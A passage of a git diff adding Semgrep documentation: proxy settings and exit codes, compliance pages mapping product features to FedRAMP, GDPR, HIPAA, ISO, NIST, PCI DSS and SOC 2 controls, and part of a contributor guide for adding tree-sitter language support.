+Semgrep uses the Python3 `requests` library. Set the following environment variables to point to your proxy:
+
+```bash
+export HTTP_PROXY="HTTP_PROXY_URL"
+
+export HTTPS_PROXY="HTTPS_PROXY_URL"
+```
+
+For example:
+
+```bash
+export HTTP_PROXY="http://10.10.1.10:3128"
+
+export HTTPS_PROXY="http://10.10.1.10:1080"
+```
+
+## Exit codes
+
+Semgrep can finish with the following exit codes:
+
+- **0**: Semgrep ran successfully and found no errors (or did find errors, but the `--error` flag is **not** being used).
+- **1**: Semgrep ran successfully and found issues in your code (while using the `--error` flag).
+- **2**: Semgrep failed.
+- **3**: Invalid syntax of the scanned language. This error occurs only while using the `--strict` flag.
+- **4**: Semgrep encountered an invalid pattern in the rule schema.
+- **5**: Semgrep configuration is not valid YAML.
+- **7**: At least one rule in the configuration is invalid.
+- **8**: Semgrep does not understand specified language.
+- **13**: The API key is invalid.
+- **14**: [Deprecated] Semgrep scan failed.
+
+
+**TIP**
+
+To view the exit code when running `semgrep scan`, enter the following command immediately after the Semgrep scan finishes:
+```bash
+echo $?
+```
+The output is a single exit code, such as:
+```bash
+1
+```
+
+
+Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support) for other ways to get help.
\ No newline at end of file
diff --git a/mintlify-docs/compliance/compliance-overview.mdx b/mintlify-docs/compliance/compliance-overview.mdx
new file mode 100644
index 0000000000..5b833b99d8
--- /dev/null
+++ b/mintlify-docs/compliance/compliance-overview.mdx
@@ -0,0 +1,51 @@
+---
+title: "Compliance"
+description: "Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program."
+---
+
+Semgrep can help address security requirements in the following compliance frameworks and standards:
+
+### Government and federal standards
+
+- **[FedRAMP](/compliance/fedramp):** Federal Risk and Authorization Management Program for cloud services used by U.S. federal agencies
+- **[NIST 800-171](/compliance/nist-800-171):** Protecting Controlled Unclassified Information (CUI) in nonfederal systems
+
+### Healthcare and privacy
+
+- **[HIPAA/HITRUST](/compliance/hipaa-hitrust):** Health Insurance Portability and Accountability Act and HITRUST Common Security Framework
+- **[GDPR](/compliance/gdpr):** General Data Protection Regulation for protecting personal data of EU residents
+
+### Financial services
+
+- **[PCI DSS](/compliance/pci-dss):** Payment Card Industry Data Security Standard for protecting cardholder data
+
+### Information security standards
+
+- **[ISO 27001](/compliance/iso27001):** International standard for information security management systems (ISMS)
+- **[ISO 27017](/compliance/iso-27017):** Code of practice for information security controls for cloud services
+
+### SOC 2
+
+- **[SOC 2](/compliance/soc2):** Service Organization Control 2 for security, availability, processing integrity, confidentiality, and privacy
+
+## Getting started with compliance
+
+
+
+**Review the specific framework page** relevant to your organization from the list above
+
+
+**Understand which controls** Semgrep can help address in your compliance program
+
+
+**Deploy Semgrep** following the [core deployment guide](/deployment/core-deployment)
+
+
+**Configure policies** that align with your compliance requirements
+
+
+**Work with your compliance team** to incorporate Semgrep into your compliance documentation and audit processes
+
+
+
+For questions about how Semgrep fits into your specific compliance program, contact your compliance team or [Semgrep support](/support).
\ No newline at end of file
diff --git a/mintlify-docs/compliance/fedramp.mdx b/mintlify-docs/compliance/fedramp.mdx
new file mode 100644
index 0000000000..c8b73e4bdf
--- /dev/null
+++ b/mintlify-docs/compliance/fedramp.mdx
@@ -0,0 +1,36 @@
+---
+title: "FedRAMP compliance"
+sidebarTitle: "FedRAMP"
+---
+
+**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
+
+**Last updated:** November 2025
+
+FedRAMP (Federal Risk and Authorization Management Program) provides standardized security assessment and authorization for cloud services used by federal agencies. The FedRAMP Authorization Boundary Guidance v3.0 Section 7 indicates that corporate services are outside the FedRAMP Authorization Boundary so long as they do not contain federal data. When Semgrep scans code, it collects and stores metadata about scan results. For details, see the [metrics documentation](/metrics).
+
+
+**WARNING**
+
+Federal data should not exist in code repositories. Semgrep scans code repositories, not production systems or databases containing federal data. Federal data is typically absent from code repositories.
+
+
+Semgrep may help address FedRAMP security requirements derived from NIST SP 800-53 Rev 5:
+
+- **RA-5 (vulnerability monitoring and scanning):** SAST scanning helps provide continuous automated vulnerability detection. Semgrep identifies OWASP Top 10 vulnerabilities including SQL injection, broken authentication, and security misconfigurations before code reaches production FedRAMP systems. Audit logs help provide timestamped evidence of continuous vulnerability monitoring that 3PAO assessors can review during annual assessments.
+
+- **IA-5 (authenticator management):** [Secrets detection](/semgrep-secrets/conceptual-overview) helps prevent AWS GovCloud API tokens, Azure Government credentials, database passwords, and private keys from being committed to source code. Custom rules enforce that authentication mechanisms use federal identity providers rather than hardcoded credentials, helping agencies meet OMB Memorandum M-22-09 requirements for phishing-resistant MFA.
+
+- **SA-11 (developer security testing):** Policy enforcement demonstrates that security testing is mandatory in the secure software development lifecycle. When configured with CI/CD platforms, Semgrep helps block vulnerable code at the pull request level before deployment. Custom policies can enforce agency-specific secure coding standards and can be configured to match security control baselines (low, moderate, or high) required by your authorization.
+
+- **AU-2 and AU-3 (event logging and audit record content):** Audit logs document every scan execution, security finding, policy violation, and remediation action with timestamps in UTC format. Logs are exportable in JSON format for integration with federal SIEM systems and compliance reporting tools.
+
+- **SI-2 (flaw remediation):** SAST scanning combined with Supply Chain vulnerability detection helps provide comprehensive flaw identification across custom code and third-party dependencies. [Jira integration creates documented remediation](/semgrep-appsec-platform/jira) workflows with discovery timestamps and resolution status. Audit logs track flaw remediation timelines segmented by severity level, helping agencies meet requirements for remediating high-risk flaws within 30 days and moderate-risk flaws within 90 days.
+
+- **SI-3 (malicious code protection):** Supply Chain scanning detects malicious packages, typosquatting attacks, dependency confusion vulnerabilities, and known malicious packages before they reach production federal systems. Reachability analysis determines whether malicious dependencies are actually invoked in your application code.
+
+- **SA-15 and SR-3 (software supply chain security):** [SBOM generation](/semgrep-supply-chain/sbom) helps provide visibility into the federal software supply chain by documenting all third-party components in CycloneDX and SPDX formats. For agencies responding to Executive Order 14028 and OMB Memorandum M-22-18 requirements for software supply chain security, SBOMs document the composition of software deployed in FedRAMP environments. Supply Chain scanning evaluates dependencies against security criteria, identifies components with known vulnerabilities, malicious packages, and abandoned projects. Policy enforcement can block dependencies that fail supply chain risk criteria.
+
+### Deployment considerations
+
+CLI and on-premises CI/CD deployments keep code entirely within agency-controlled infrastructure. For agencies using FedRAMP-authorized CI/CD platforms (GitHub Enterprise Server in GovCloud, GitLab Dedicated for Government, Azure Government DevOps), Semgrep integrates with existing workflows. [Semgrep Managed Scans](/getting-started/quickstart-managed-scans) (AWS deployed) may be acceptable for repositories without federal data per FedRAMP Authorization Boundary Guidance v3.0 Section 7, but requires a case-by-case assessment with your authorizing official.
diff --git a/mintlify-docs/compliance/gdpr.mdx b/mintlify-docs/compliance/gdpr.mdx
new file mode 100644
index 0000000000..b90fc86350
--- /dev/null
+++ b/mintlify-docs/compliance/gdpr.mdx
@@ -0,0 +1,27 @@
+---
+title: "GDPR compliance"
+sidebarTitle: "GDPR"
+---
+
+**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
+
+**Last updated:** November 2025
+
+GDPR (General Data Protection Regulation) governs how organizations collect, store, and process personal data of EU residents. Organizations must implement appropriate technical and organizational measures to protect personal data and demonstrate compliance with supervisory authorities.
+
+
+
+**WARNING**
+
+Personal data should not exist in code repositories. Semgrep scans code repositories, not production systems or databases containing customer data. EU resident personal data is typically absent from code repositories.
+
+
+
+Semgrep helps reduce GDPR violation risk:
+
+- **Article 25 (data protection by design and by default):** [Policy enforcement](/semgrep-code/policies) demonstrates that security is built into your development process from the start. When properly configured with CI/CD systems, Semgrep can enforce secure coding practices at the pull request level. For details about proper configuration, please chat with the [Semgrep team](/support/).
+
+- **Article 32 (security of processing):** [SAST scanning](/semgrep-code/overview) detects injection flaws, broken authentication, and insecure configurations that attackers exploit to access databases containing customer personal data. [Secrets detection](/semgrep-secrets/conceptual-overview) stops hardcoded API keys, database credentials, or access tokens that could provide unauthorized access to systems processing EU resident data. [Audit logs](/semgrep-code/findings) provide documented evidence of technical measures to protect personal data.
+
+- **Articles 44-50 (data transfers to third countries):** Deployment flexibility allows you to meet data residency requirements. CLI and on-premises CI/CD keep code in your environment. For cloud deployments, you can choose EU-region CI/CD providers. For Semgrep Multimodal, you can bring your own API keys with EU-based providers. Semgrep provides Data Processing Agreements with Standard Contractual Clauses for trans-Atlantic transfers.
+
diff --git a/mintlify-docs/compliance/hipaa-hitrust.mdx b/mintlify-docs/compliance/hipaa-hitrust.mdx
new file mode 100644
index 0000000000..7e2bfd880c
--- /dev/null
+++ b/mintlify-docs/compliance/hipaa-hitrust.mdx
@@ -0,0 +1,36 @@
+---
+title: "HIPAA/HITRUST compliance"
+sidebarTitle: "HIPAA/HITRUST"
+---
+
+
+**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
+
+**Last updated:** November 2025
+
+HIPAA (Health Insurance Portability and Accountability Act) establishes national standards for protecting medical records and health information. HITRUST CSF v11 (Common Security Framework) is a certifiable framework that harmonizes multiple security and privacy standards including HIPAA requirements.
+
+
+**WARNING**
+
+Protected Health Information (PHI) should not exist in code repositories. Semgrep scans code repositories, not production systems or databases containing PHI data. PHI data is typically absent from code repositories.
+
+
+Semgrep may help address HIPAA Security Rule requirements and HITRUST CSF v11 control families:
+
+- **HIPAA Technical Safeguard 164.312(a)(1) and HITRUST control 01.m (access control):** SAST scanning detects SQL injection, authentication bypasses, and broken authorization that attackers exploit to access PHI databases. Policy enforcement blocks these vulnerabilities at the pull request level before code reaches production systems handling PHI. Audit logs create timestamped records showing when access control vulnerabilities were detected and fixed.
+
+- **HIPAA Technical Safeguard 164.312(a)(2)(i) and HITRUST control 01.q (unique user identification):** [Secrets detection helps prevent hardcoded database credentials](/semgrep-secrets/conceptual-overview), API keys, authentication tokens, and service account passwords from reaching production code that accesses PHI. Custom rules can enforce that all authentication uses centralized identity providers rather than hardcoded credentials.
+
+- **HIPAA Administrative Safeguard 164.308(a)(8) and HITRUST control 10.m (evaluation of security):** Policy enforcement demonstrates active preventive controls. When configured with CI/CD systems, Semgrep blocks vulnerable code at the PR level. Audit logs document policy enforcement activity showing security controls ran on every code change and blocked violations.
+
+- **HIPAA Technical Safeguard 164.312(b) and HITRUST control 10.k (audit controls):** Audit logs document every scan execution, security finding, remediation action, and status change with timestamps and user attribution. Exportable logs provide compliance evidence for auditor review showing continuous monitoring and systematic remediation over the audit period.
+
+- **HIPAA Administrative Safeguard 164.308(a)(1)(ii)(A) and HITRUST control 03.a (risk management):** [Jira integration](/semgrep-appsec-platform/jira) creates documented remediation workflows with timestamps, assignments, priority levels, and resolution timelines. This provides evidence that security findings are systematically identified, tracked, prioritized, and resolved according to risk management procedures.
+
+- **HIPAA Technical Safeguard 164.312(c)(1) and HITRUST control 01.o (integrity):** SAST rules detect code patterns that could allow data tampering, unauthorized modification of PHI records, or integrity violations. [Custom rules](/semgrep-code/editor) can enforce data validation requirements and detect missing integrity checks in code that modifies PHI.
+
+- **HIPAA Technical Safeguard 164.312(e)(1) and HITRUST control 09.n (transmission security):** Custom SAST rules enforce TLS requirements for PHI transmission, detect insecure HTTP usage in healthcare applications, and flag missing encryption for data in transit. Rules can verify that all PHI transmission uses appropriate cryptographic protocols.
+
+- **Supply Chain Security for Healthcare:** [SBOM generation](/semgrep-supply-chain/sbom) provides visibility into third-party components used in healthcare applications including medical device software, connected health platforms, and patient portals. Supply Chain scanning detects vulnerabilities in healthcare-specific libraries such as HL7 parsers, FHIR implementations, and DICOM handlers. Reachability analysis shows which vulnerable dependencies actually process or access PHI, helping security teams prioritize remediation for components in the PHI data path.
+
diff --git a/mintlify-docs/compliance/iso-27017.mdx b/mintlify-docs/compliance/iso-27017.mdx
new file mode 100644
index 0000000000..59947c182a
--- /dev/null
+++ b/mintlify-docs/compliance/iso-27017.mdx
@@ -0,0 +1,29 @@
+---
+title: "ISO 27017 compliance"
+sidebarTitle: "ISO 27017"
+---
+
+
+**Disclaimer:** Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.
+
+**Last updated:** November 2025
+
+ISO 27017 extends ISO 27001 with cloud-specific security guidance for protecting customer data in cloud environments. This standard applies to cloud service providers and cloud customers.
+
+Semgrep may help address ISO 27017 cloud security guidance:
+
+- **Cloud service development:** Continuous vulnerability scanning and policy enforcement can help demonstrate security controls in development processes. When properly configured with CI/CD systems, Semgrep can enforce secure coding practices at the pull request level. For details around proper configuration please chat with the Semgrep team.
+
+- **Vulnerability management:** Automated detection and tracking of security issues in code that runs in cloud environments. Audit logs document security scanning activity, findings, and remediation with timestamps.
+
+- **Logging and monitoring:** Audit logs provide documented evidence of continuous security monitoring across your cloud application codebase.
+
+- **Supply chain security:** [SBOM generation](/semgrep-supply-chain/sbom) provides inventory of third-party components and dependencies deployed in cloud services, giving visibility into supply chain risk.
+
+- **Change management:** [Jira integration](/semgrep-appsec-platform/jira) documents how security issues are tracked and remediated through your change management process with timestamps, assignments, and resolution status. Policy enforcement can help prevent vulnerable code from reaching cloud production environments.
+
+### Deployment and certification
+
+ISO 27017 applies to cloud service providers and customers. If you provide cloud services to customers, your deployment of Semgrep should align with your cloud security architecture.
+
+Semgrep Inc. is not itself ISO 27017 certified. However, for CLI deployments, scans run on customer infrastructure. For on-premises CI/CD, scans run on customer-controlled infrastructure. Cloud CI/CD providers (GitHub, GitLab, Azure DevOps, Bitbucket) maintain ISO 27017 certification or equivalent cloud security controls. For Semgrep Multimodal, the default provider (OpenAI) operates in ISO 27017-compliant infrastructure. For Semgrep Managed Scans, AWS infrastructure maintains ISO 27017 certification for cloud security controls.
\ No newline at end of file
diff --git a/mintlify-docs/compliance/iso27001.mdx b/mintlify-docs/compliance/iso27001.mdx
new file mode 100644
index 0000000000..c6771df1ed
--- /dev/null
+++ b/mintlify-docs/compliance/iso27001.mdx
@@ -0,0 +1,26 @@
+---
+title: "ISO 27001 compliance"
+sidebarTitle: "ISO 27001"
+---
+
+
+**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
+
+**Last updated:** November 2025
+
+ISO 27001 is the international standard for information security management systems. Organizations must demonstrate continuous security testing and risk management, not just point-in-time assessments.
+
+Semgrep helps address multiple ISO 27001:2022 Annex A controls:
+
+- **Control A.8.8 (management of technical vulnerabilities):** Semgrep provides continuous [vulnerability scanning](/semgrep-code/overview) on every code change. [Audit logs](/semgrep-code/findings) document vulnerability detection and remediation timelines, giving auditors automated proof that controls are operational rather than requiring manual evidence collection during audit season.
+
+- **Controls A.8.25 through A.8.32 (secure development lifecycle):** When properly configured with CI/CD systems, [policy enforcement](/semgrep-code/policies) can help demonstrate active enforcement of secure coding practices. Auditors can see documented evidence that security policies were run on every code change. Note that developers with appropriate permissions can override policy blocks when necessary. For details around proper configuration, please chat with the [Semgrep team](/support/).
+
+- **Controls A.8.9 and A.8.32 (configuration management and change management):** [Jira integration](/semgrep-appsec-platform/jira) documents how security issues are tracked and remediated through your change management process with timestamps, assignments, and resolution status.
+
+- **Controls A.5.19 through A.5.23 (information security in supplier relationships):** [SBOM generation](/semgrep-supply-chain/sbom) provides a documented inventory of third-party components and their vulnerabilities, proving you have visibility into supply chain risk.
+
+
+### Deployment and certification
+
+Semgrep Inc. is **not** itself ISO 27001 certified, but the product can be used in deployment models that support an organization's ISO 27001 certification efforts. For CLI and customer-managed CI/CD deployments, scans run on customer-controlled infrastructure. For Semgrep Multimodal, the default provider (OpenAI) maintains ISO 27001 certification. For Semgrep Managed Scans (SMS), AWS infrastructure is ISO 27001 certified.
diff --git a/mintlify-docs/compliance/nist-800-171.mdx b/mintlify-docs/compliance/nist-800-171.mdx
new file mode 100644
index 0000000000..8ef8836863
--- /dev/null
+++ b/mintlify-docs/compliance/nist-800-171.mdx
@@ -0,0 +1,36 @@
+---
+title: "NIST 800-171 compliance"
+sidebarTitle: "NIST 800-171"
+---
+
+**Disclaimer:** Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.
+
+**Last updated:** November 2025
+
+NIST SP 800-171 Revision 2 specifies 110 security requirements across 14 control families for protecting Controlled Unclassified Information (CUI) in non-federal systems. Defense contractors and government contractors handling CUI must maintain CUI within systems that implement these 110 security requirements and remain under contractor control.
+
+
+**WARNING**
+
+NIST 800-171 applies only to systems that store, process, or transmit CUI. Not all code is CUI. You must assess each repository to determine whether it contains CUI. Commercial software, internal tools, and projects unrelated to government contracts typically do not contain CUI.
+
+
+**Contractor-controlled systems defined:** Under NIST 800-171, contractor-controlled systems are information systems that are owned, operated, and maintained by the contractor (not the government), where the contractor implements all required security controls and maintains full administrative access. This includes on-premises infrastructure in contractor facilities and contractor-managed cloud infrastructure where the contractor implements the 110 NIST 800-171 security requirements. Standard commercial cloud services ([GitHub.com](http://GitHub.com), [GitLab.com](http://GitLab.com), [Azure DevOps Services](https://azure.microsoft.com/en-us/products/devops)) where the service provider controls security configurations generally do not meet the definition of contractor-controlled for CUI.
+
+When Semgrep scans your source code, it analyzes code for security vulnerabilities and policy violations. If your code does not contain CUI, NIST 800-171 requirements do not apply to code scanning.
+
+For repositories that **do not contain CUI**, Semgrep may help with your overall security posture:
+
+- **3.14.1 (flaw remediation):** SAST scanning detects security weaknesses in code. Audit logs document vulnerability detection and remediation timelines.
+
+- **3.5.10 (authenticator management):** Secrets detection helps prevent hardcoded credentials that provide unauthorized access from reaching production.
+
+- **3.3.1 (audit record creation):** Audit logs document security scanning activity and findings with timestamps and user attribution.
+
+- **3.4.7 (least functionality):** Policy enforcement can help block vulnerable code at the pull request level. When properly configured with CI/CD systems, Semgrep can enforce security policies on every code change. For details around proper configuration, please chat with the [Semgrep team](/support/).
+
+### Deployment requirements for CUI
+
+If your code contains CUI, you must ensure your Semgrep deployment keeps CUI within contractor-controlled systems implementing all 110 NIST 800-171 security requirements. Currently the only Semgrep deployment that would support NIST SP 800-171 is the Semgrep CLI tool. The CLI tool runs entirely on local systems. If your local systems are contractor-controlled and implement all 110 NIST 800-171 requirements, CLI deployment keeps CUI within compliant systems.
+
+Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support/) for other ways to get help.
diff --git a/mintlify-docs/compliance/pci-dss.mdx b/mintlify-docs/compliance/pci-dss.mdx
new file mode 100644
index 0000000000..0fefd072d1
--- /dev/null
+++ b/mintlify-docs/compliance/pci-dss.mdx
@@ -0,0 +1,30 @@
+---
+title: "PCI DSS compliance"
+sidebarTitle: "PCI DSS"
+---
+
+
+**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
+
+**Last updated:** November 2025
+
+PCI DSS (Payment Card Industry Data Security Standard) is mandatory for organizations that store, process, or transmit payment data. QSAs (Qualified Security Assessors) require documented evidence of security controls during assessments.
+
+
+**WARNING**
+
+Cardholder data should never exist in code repositories. Use designated test card numbers for testing. If no cardholder data exists in your code, PCI DSS does not apply to your SAST scanning.
+
+
+Semgrep helps address PCI DSS requirements:
+
+- **Requirement 6.2 (ensure all systems are protected from known vulnerabilities):** [SAST scanning](/semgrep-code/overview) detects injection flaws, broken authentication, and insecure configurations that could expose cardholder data. [Audit logs](/semgrep-code/findings) provide documented evidence of vulnerability detection and remediation timelines. QSAs require quarterly validation, and Semgrep provides continuous evidence rather than point-in-time snapshots.
+
+- **Requirement 6.3.1 (removal of custom application accounts, user IDs, and passwords before applications become active):** [Secrets detection](/semgrep-secrets/conceptual-overview) helps prevent hardcoded credentials that provide access to payment systems from reaching production.
+
+- **Requirement 6.3.2 (secure coding practices):** QSAs expect to see evidence of vulnerability scanning, such as SAST, in the development process. When properly configured with CI/CD systems, [policy enforcement](/semgrep-code/policies) can help block risky code at the pull request level, creating a preventive control. Developers with appropriate permissions can override blocks when necessary. Every policy violation is documented for auditors. For configuration help, please contact [Semgrep](/support/).
+
+### Deployment guidance
+
+CLI and on-premises CI/CD keep code in customer-controlled infrastructure. Cloud CI/CD and Semgrep Managed Scans only process code repositories that should not contain cardholder data. If cardholder data is present in the code, verify that your deployment option meets your PCI scope requirements.
+
diff --git a/mintlify-docs/compliance/soc2.mdx b/mintlify-docs/compliance/soc2.mdx
new file mode 100644
index 0000000000..013f378025
--- /dev/null
+++ b/mintlify-docs/compliance/soc2.mdx
@@ -0,0 +1,20 @@
+---
+title: "SOC 2 compliance"
+sidebarTitle: "SOC 2"
+---
+
+**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
+
+**Last updated:** November 2025
+
+Organizations pursuing SOC 2 Type II certification need to demonstrate that security controls are operational and effective over time (typically 6-12 months), not just implemented at a point in time.
+
+When Semgrep scans your code, it generates [audit logs](/semgrep-code/findings) that document every scan execution, security finding, remediation action, and status change with timestamps and user attribution. These logs provide evidence for SOC 2 Trust Services Criteria, including CC6.6 (vulnerabilities are identified and addressed), CC7.2 (system monitoring), and CC7.3 (evaluation of security events).
+
+When properly configured with CI/CD systems, Semgrep [policy enforcement](/semgrep-code/policies) allows security teams to define [custom security rules that can block code](/semgrep-ci/configuring-blocking-and-errors-in-ci#blocking-findings) from merging when violations are detected. This demonstrates preventive controls (CC6.1, CC6.6) rather than detective controls. Auditors want to see that you stop security issues before they reach production, not just detect them afterward. Note that developers with appropriate permissions can override policy blocks when necessary. For details around proper configuration, please chat with the Semgrep team.
+
+[Jira integration](/semgrep-appsec-platform/jira) documents your remediation workflow with timestamps and assignments, giving auditors clear evidence that security issues are identified, tracked, and resolved systematically (CC8.1 change management). [SBOM generation](/semgrep-supply-chain/sbom) provides supply chain visibility for vendor risk management controls (CC9.1).
+
+### Deployment and certification
+
+Semgrep Inc. is SOC 2 Type II certified. For CLI deployments, scans run on customer infrastructure (which may or may not be SOC 2 certified, depending on customer controls). For on-premises CI/CD, scans run on customer-controlled infrastructure. Cloud CI/CD providers (GitHub, GitLab, Azure DevOps, Bitbucket) are SOC 2 certified. For Semgrep Managed Scans, scans run on Semgrep's SOC 2 Type II-certified AWS infrastructure.
diff --git a/mintlify-docs/contributing/adding-a-language.mdx b/mintlify-docs/contributing/adding-a-language.mdx
new file mode 100644
index 0000000000..7b51834925
--- /dev/null
+++ b/mintlify-docs/contributing/adding-a-language.mdx
@@ -0,0 +1,420 @@
+---
+title: "How to add support for a new language"
+sidebarTitle: "Add support for a new language"
+---
+
+This document is about adding support for a new programming language in Semgrep using the [tree-sitter](https://tree-sitter.github.io/tree-sitter/) technology. Most languages in semgrep use `tree-parser` though you may also need to update the `menhir` parser.
+
+Repositories involved directly:
+
+* [**semgrep**](https://github.com/semgrep/semgrep): the semgrep command line program.
+* [**ocaml-tree-sitter-semgrep**](https://github.com/semgrep/ocaml-tree-sitter-semgrep): language-specific setup, generates C/OCaml parsers for semgrep.
+* A new repository **semgrep-LANG** for the language you're adding: this is a C or OCaml parser generated from `ocaml-tree-sitter-semgrep` by a Semgrep administrator.
+* [**semgrep-interfaces**](https://github.com/semgrep/semgrep-interfaces/blob/main/generate.py)
+
+## Placeholder values
+
+This document uses the placeholder LANG to indicate that you should substitute the name of your language as the value in the given context. For example, if your language is Ruby, and the document's instructions read:
+
+> Create a new file `TEST_LANG_.txt` where LANG is in small caps.
+
+The name of your file should be `TEST_LANG_ruby.txt`
+
+> Create a file `Pretty_print.**_EXTENSION_**` with the filename extension of your language:
+
+The name of your file should be `Pretty_print.rb`.
+
+## `semgrep` repository overview
+
+There are some GitHub repositories involved in porting a language.
+Here is the file hierarchy of the [`semgrep`
+repository](https://github.com/semgrep/semgrep):
+
+```text
+/languages
+├── bash
+ ...
+├── swift
+ ├── generic
+ └── tree-sitter
+ └── semgrep-swift # generated tree-sitter parsers
+```
+
+When you're done with the work in [`ocaml-tree-sitter-semgrep`](https://github.com/semgrep/ocaml-tree-sitter-semgrep), you'll need a new repository **`semgrep-LANG`** to host the generated parser code.
+
+Ask someone from the Semgrep team to create one for you. For this, they should use the template
+[`semgrep-lang-template`](https://github.com/semgrep/semgrep-lang-template) when creating the repository.
+
+The instructions for adding a language start in [`ocaml-tree-sitter-semgrep`](https://github.com/semgrep/ocaml-tree-sitter-semgrep), as indicated below. Be careful that you are always in the correct repository!
+
+## Set up `ocaml-tree-sitter-semgrep`
+
+As a model, you can use the existing setup for `ruby` or `javascript`. The most complicated setup is for `typescript` and `tsx`.
+
+### Expedited setup
+
+If you're lucky, the language you want to add can be added with the script `add-simple-lang`:
+
+```bash
+cd lang
+./add-simple-lang --help
+```
+
+Follow the instructions from --help.
+
+This often works with languages that define a single dialect using a `grammar.js` file at the root of the project. If this simplified approach fails, use the [Manual setup](#manual-setup) instructions below to understand what's going on or to set things up manually.
+
+### Manual setup
+
+From the `ocaml-tree-sitter-semgrep` repository, do the following:
+
+
+
+Create a `lang/LANG` folder.
+
+
+Make a `test/ok` directory. Inside the directory, create a simple `hello-world` program for the language you are porting. Name the program `hello-world.EXTENSION`.
+
+
+Now make a file called `extensions.txt` and input all the language extensions (.rb, .kt, etc) for your language in the file.
+
+
+Create a file called `fyi.list` with all the information files, such as
+ `semgrep-grammars/src/tree-sitter-LANG/LICENSE`,
+ `semgrep-grammars/src/tree-sitter-LANG/grammar.js`,
+ `semgrep-grammars/src/semgrep-LANG/grammar.js`, etc.
+ to bundle with the final OCaml/C project.
+
+
+Link the Makefile.common to a Makefile in the directory with:
+ `ln -s ../Makefile.common Makefile`
+
+
+
+Create a test corpus. You can do this by:
+ * Running `most-starred-for-language` to gather projects
+ on which to run parsing stats. Run with the following command:
+ `./scripts/most-starred-for-language LANG YOUR_USERNAME API_KEY`
+ * Using github advanced search to find the most starred or most forked repositories.
+
+
+Copy the generated `projects.txt` file into the `lang/LANG` directory.
+
+
+Add in extra projects and extra input sets as you see necessary.
+
+
+
+Here's the file hierarchy for Ruby:
+
+```bash
+lang/ruby # language name of the form [a-z][a-z0-9]*
+├── extensions.txt # standard name. Required for stats.
+├── fyi.list # list of informational files to copy. Recommended.
+├── Makefile -> ../Makefile.common
+├── projects.txt # standard name. Required for stats.
+└── test # sample input files
+ ├── ok # contains input files supported by the current grammar
+ │ ├── comment.rb
+ │ ├── ex1.rb
+ │ ├── ex2.rb
+ │ ├── hello.rb
+ │ └── poly.rb
+ └── xfail # contains input files that are expected to fail
+ └── rating.rb
+```
+
+To test a language in `ocaml-tree-sitter-semgrep`, you must build the
+`ocaml-tree-sitter-semgrep` OCaml code generator, run it to produce a parser,
+then run some tests for the parser. Full instructions for this
+are given in [updating-a-grammar](/contributing/updating-a-grammar) under
+"Testing". The short instructions are:
+1. For the first time, build everything with `./scripts/rebuild-everything`.
+2. Subsequently, work from the `lang/LANG` folder and run
+ `make` and `make test`.
+
+### The `fyi.list` file
+
+The `fyi.list` file was created to specify informational files that
+should accompany the generated files. These files are typically:
+
+* the source grammar, most often a single `grammar.js` file.
+* the licensing conditions usually specified in a `LICENSE` file.
+
+Example:
+
+```text
+# Comments are allowed on their own line.
+# Blank lines are ok.
+
+# Each path is relative to ocaml-tree-sitter-semgrep/lang
+semgrep-grammars/src/tree-sitter-ruby/LICENSE
+semgrep-grammars/src/tree-sitter-ruby/grammar.js
+semgrep-grammars/src/semgrep-ruby/grammar.js
+```
+
+The files listed in `fyi.list` end up in a `fyi` folder in
+tree-sitter-lang. For example,
+[see `ruby/fyi`](https://github.com/semgrep/semgrep-ruby/tree/main).
+
+## Extend the original grammar with semgrep syntax
+
+This is best done after everything else is set up. Some constructs
+such as semgrep metavariables (`$FOO`) may already be valid constructs
+in the language, in which case there's nothing to do. Some support for
+the semgrep ellipsis `...` usually needs to be added as well.
+
+You'll need to learn [how to create tree-sitter
+grammars](https://tree-sitter.github.io/tree-sitter/creating-parsers).
+
+
+
+Work from `semgrep-grammars/src/semgrep-LANG` and use `make` and
+ `make test` to build and test.
+
+
+Add new test cases to `test/corpus/semgrep.text`.
+
+
+Edit `grammar.js`.
+
+
+Refer to the original grammar in
+ `semgrep-grammars/src/tree-sitter-LANG` to determine which rules to
+ extend.
+
+
+
+For an example of how to extend a language, you can:
+* Look at what was done for the semgrep extensions of other languages
+ in their respective `semgrep-*` folders.
+* Look at how `tree-sitter-typescript` extends the JavaScript grammar.
+ This is the file [`common/define-grammar.js` in the
+ tree-sitter-typescript repository](https://github.com/tree-sitter/tree-sitter-typescript/blob/master/common/define-grammar.js).
+
+Avoiding parsing conflicts is the trickiest part. Asking for help is encouraged.
+
+
+
+**💡 A NOTE ON THE JAVASCRIPT SYNTAX THAT'S HEAVILY USED TO DEFINE AND EXTEND GRAMMARS:**
+
+When possible, the development team prefers **shorthand** notation for anonymous functions made of a single expression:
+```js
+(x) => x
+```
+which is the same as
+```js
+(x) => { return x; }
+```
+which is itself the same as
+```js
+function(x) { return x; }
+```
+
+When extending any rule with an alternate choice such as `$.ellipsis`,
+the simpler way is this one:
+
+```js
+expression: ($, previous) => choice(previous, $.ellipsis),
+```
+
